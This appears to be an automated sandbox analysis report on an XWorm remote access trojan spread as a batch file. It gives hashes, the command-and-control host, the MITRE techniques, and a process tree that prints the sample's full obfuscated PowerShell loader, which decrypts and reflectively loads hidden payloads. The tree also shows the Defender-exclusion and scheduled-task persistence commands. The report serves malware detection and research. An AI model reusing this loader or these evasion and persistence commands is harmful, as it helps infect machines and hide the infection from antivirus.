xworm | f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd

Analysis

max time kernel
150s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20240704-en
resource tags

arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
submitted
07/07/2024, 00:21

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General

Target

boot.bat
Size

410KB
MD5

d87efb4cf8da07e1956944f23313bb5b
SHA1

929203873eaf41e02377a26e1ef4db8a88d37696
SHA256

f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd
SHA512

d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a
SSDEEP

12288:xpWbCqT4gUVKkPSmSZ+XPk6V4mzYWQvKMbGt:xkGqTjURpXPkAUvvKMit

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

case-shield.gl.at.ply.gg:26501

Attributes

Install_directory
%Userprofile%
install_file
system.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1500-53-0x000001821EE30000-0x000001821EE4A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	1500	powershell.exe
3	1500	powershell.exe
5	1500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2808	powershell.exe
2036	powershell.exe
1500	powershell.exe
3300	powershell.exe
4464	powershell.exe
5072	powershell.exe
5032	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3604	system.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000\Software\Microsoft\Windows\CurrentVersion\Run\system = "C:\\Users\\Admin\\system.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\system	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133647853231214965"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133647853948848242"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3637012076-1497690007-2831451688-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5088	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2808	powershell.exe
2808	powershell.exe
2036	powershell.exe
2036	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
3300	powershell.exe
3300	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
4464	powershell.exe
1500	powershell.exe
1500	powershell.exe
4464	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
5072	powershell.exe
5072	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
5032	powershell.exe
5032	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeIncreaseQuotaPrivilege	2036	powershell.exe
Token: SeSecurityPrivilege	2036	powershell.exe
Token: SeTakeOwnershipPrivilege	2036	powershell.exe
Token: SeLoadDriverPrivilege	2036	powershell.exe
Token: SeSystemProfilePrivilege	2036	powershell.exe
Token: SeSystemtimePrivilege	2036	powershell.exe
Token: SeProfSingleProcessPrivilege	2036	powershell.exe
Token: SeIncBasePriorityPrivilege	2036	powershell.exe
Token: SeCreatePagefilePrivilege	2036	powershell.exe
Token: SeBackupPrivilege	2036	powershell.exe
Token: SeRestorePrivilege	2036	powershell.exe
Token: SeShutdownPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeSystemEnvironmentPrivilege	2036	powershell.exe
Token: SeRemoteShutdownPrivilege	2036	powershell.exe
Token: SeUndockPrivilege	2036	powershell.exe
Token: SeManageVolumePrivilege	2036	powershell.exe
Token: 33	2036	powershell.exe
Token: 34	2036	powershell.exe
Token: 35	2036	powershell.exe
Token: 36	2036	powershell.exe
Token: SeIncreaseQuotaPrivilege	2036	powershell.exe
Token: SeSecurityPrivilege	2036	powershell.exe
Token: SeTakeOwnershipPrivilege	2036	powershell.exe
Token: SeLoadDriverPrivilege	2036	powershell.exe
Token: SeSystemProfilePrivilege	2036	powershell.exe
Token: SeSystemtimePrivilege	2036	powershell.exe
Token: SeProfSingleProcessPrivilege	2036	powershell.exe
Token: SeIncBasePriorityPrivilege	2036	powershell.exe
Token: SeCreatePagefilePrivilege	2036	powershell.exe
Token: SeBackupPrivilege	2036	powershell.exe
Token: SeRestorePrivilege	2036	powershell.exe
Token: SeShutdownPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeSystemEnvironmentPrivilege	2036	powershell.exe
Token: SeRemoteShutdownPrivilege	2036	powershell.exe
Token: SeUndockPrivilege	2036	powershell.exe
Token: SeManageVolumePrivilege	2036	powershell.exe
Token: 33	2036	powershell.exe
Token: 34	2036	powershell.exe
Token: 35	2036	powershell.exe
Token: 36	2036	powershell.exe
Token: SeIncreaseQuotaPrivilege	2036	powershell.exe
Token: SeSecurityPrivilege	2036	powershell.exe
Token: SeTakeOwnershipPrivilege	2036	powershell.exe
Token: SeLoadDriverPrivilege	2036	powershell.exe
Token: SeSystemProfilePrivilege	2036	powershell.exe
Token: SeSystemtimePrivilege	2036	powershell.exe
Token: SeProfSingleProcessPrivilege	2036	powershell.exe
Token: SeIncBasePriorityPrivilege	2036	powershell.exe
Token: SeCreatePagefilePrivilege	2036	powershell.exe
Token: SeBackupPrivilege	2036	powershell.exe
Token: SeRestorePrivilege	2036	powershell.exe
Token: SeShutdownPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeSystemEnvironmentPrivilege	2036	powershell.exe
Token: SeRemoteShutdownPrivilege	2036	powershell.exe
Token: SeUndockPrivilege	2036	powershell.exe
Token: SeManageVolumePrivilege	2036	powershell.exe
Token: 33	2036	powershell.exe
Token: 34	2036	powershell.exe
Token: 35	2036	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1500	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 248 wrote to memory of 876	248	cmd.exe	82
PID 248 wrote to memory of 876	248	cmd.exe	82
PID 248 wrote to memory of 2808	248	cmd.exe	83
PID 248 wrote to memory of 2808	248	cmd.exe	83
PID 2808 wrote to memory of 2036	2808	powershell.exe	84
PID 2808 wrote to memory of 2036	2808	powershell.exe	84
PID 2808 wrote to memory of 880	2808	powershell.exe	87
PID 2808 wrote to memory of 880	2808	powershell.exe	87
PID 880 wrote to memory of 3008	880	WScript.exe	88
PID 880 wrote to memory of 3008	880	WScript.exe	88
PID 3008 wrote to memory of 2584	3008	cmd.exe	90
PID 3008 wrote to memory of 2584	3008	cmd.exe	90
PID 3008 wrote to memory of 1500	3008	cmd.exe	91
PID 3008 wrote to memory of 1500	3008	cmd.exe	91
PID 1500 wrote to memory of 3416	1500	powershell.exe	52
PID 1500 wrote to memory of 3544	1500	powershell.exe	53
PID 1500 wrote to memory of 2548	1500	powershell.exe	43
PID 1500 wrote to memory of 772	1500	powershell.exe	65
PID 1500 wrote to memory of 1756	1500	powershell.exe	29
PID 1500 wrote to memory of 4512	1500	powershell.exe	62
PID 1500 wrote to memory of 4904	1500	powershell.exe	72
PID 1500 wrote to memory of 960	1500	powershell.exe	11
PID 1500 wrote to memory of 1156	1500	powershell.exe	19
PID 1500 wrote to memory of 1936	1500	powershell.exe	32
PID 1500 wrote to memory of 2720	1500	powershell.exe	69
PID 1500 wrote to memory of 2520	1500	powershell.exe	42
PID 1500 wrote to memory of 1140	1500	powershell.exe	18
PID 1500 wrote to memory of 1412	1500	powershell.exe	23
PID 1500 wrote to memory of 1324	1500	powershell.exe	22
PID 1500 wrote to memory of 2504	1500	powershell.exe	41
PID 1500 wrote to memory of 1064	1500	powershell.exe	15
PID 1500 wrote to memory of 1116	1500	powershell.exe	17
PID 1500 wrote to memory of 2288	1500	powershell.exe	39
PID 1500 wrote to memory of 1092	1500	powershell.exe	16
PID 1500 wrote to memory of 2660	1500	powershell.exe	48
PID 1500 wrote to memory of 1496	1500	powershell.exe	34
PID 1500 wrote to memory of 1472	1500	powershell.exe	24
PID 1500 wrote to memory of 1668	1500	powershell.exe	28
PID 1500 wrote to memory of 1864	1500	powershell.exe	31
PID 1500 wrote to memory of 1072	1500	powershell.exe	67
PID 1500 wrote to memory of 2056	1500	powershell.exe	36
PID 1500 wrote to memory of 1660	1500	powershell.exe	27
PID 1500 wrote to memory of 2644	1500	powershell.exe	47
PID 1500 wrote to memory of 2640	1500	powershell.exe	51
PID 1500 wrote to memory of 1652	1500	powershell.exe	26
PID 1500 wrote to memory of 468	1500	powershell.exe	60
PID 1500 wrote to memory of 1248	1500	powershell.exe	21
PID 1500 wrote to memory of 2624	1500	powershell.exe	46
PID 1500 wrote to memory of 2028	1500	powershell.exe	35
PID 1500 wrote to memory of 844	1500	powershell.exe	10
PID 1500 wrote to memory of 1824	1500	powershell.exe	30
PID 1500 wrote to memory of 2364	1500	powershell.exe	40
PID 1500 wrote to memory of 2200	1500	powershell.exe	38
PID 1500 wrote to memory of 1212	1500	powershell.exe	20
PID 1500 wrote to memory of 1208	1500	powershell.exe	33
PID 1500 wrote to memory of 1600	1500	powershell.exe	25
PID 1500 wrote to memory of 1008	1500	powershell.exe	12
PID 1500 wrote to memory of 788	1500	powershell.exe	14
PID 1500 wrote to memory of 2572	1500	powershell.exe	44
PID 1500 wrote to memory of 3840	1500	powershell.exe	66
PID 1500 wrote to memory of 3552	1500	powershell.exe	54
PID 1500 wrote to memory of 3300	1500	powershell.exe	92
PID 1500 wrote to memory of 3300	1500	powershell.exe	92
PID 1500 wrote to memory of 4464	1500	powershell.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1140
- C:\Users\Admin\system.exe
  C:\Users\Admin\system.exe
  2⤵
  - Executes dropped EXE
  PID:3604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2288

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2640

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\boot.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Local\Temp\boot.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_14_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_14.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2036
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_14.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_14.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vyfdhzkOhzuWPMpvreY3vZeyScn6WHRZY2R7Zkbkj4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DAJ/xPMYanv7GkLC2SESzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ONxiA=New-Object System.IO.MemoryStream(,$param_var); $QiWju=New-Object System.IO.MemoryStream; $Ezkrm=New-Object System.IO.Compression.GZipStream($ONxiA, [IO.Compression.CompressionMode]::Decompress); $Ezkrm.CopyTo($QiWju); $Ezkrm.Dispose(); $ONxiA.Dispose(); $QiWju.Dispose(); $QiWju.ToArray();}function execute_function($param_var,$param2_var){ $lSZJJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YnjRv=$lSZJJ.EntryPoint; $YnjRv.Invoke($null, $param2_var);}$jEnct = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_14.bat';$host.UI.RawUI.WindowTitle = $jEnct;$VPrGj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jEnct).Split([Environment]::NewLine);foreach ($WvbhA in $VPrGj) { if ($WvbhA.StartsWith('JIMqBrjcUshFgASmplvD')) { $BgeIS=$WvbhA.Substring(20); break; }}$payloads_var=[string[]]$BgeIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2584
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\system.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5032
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\system.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
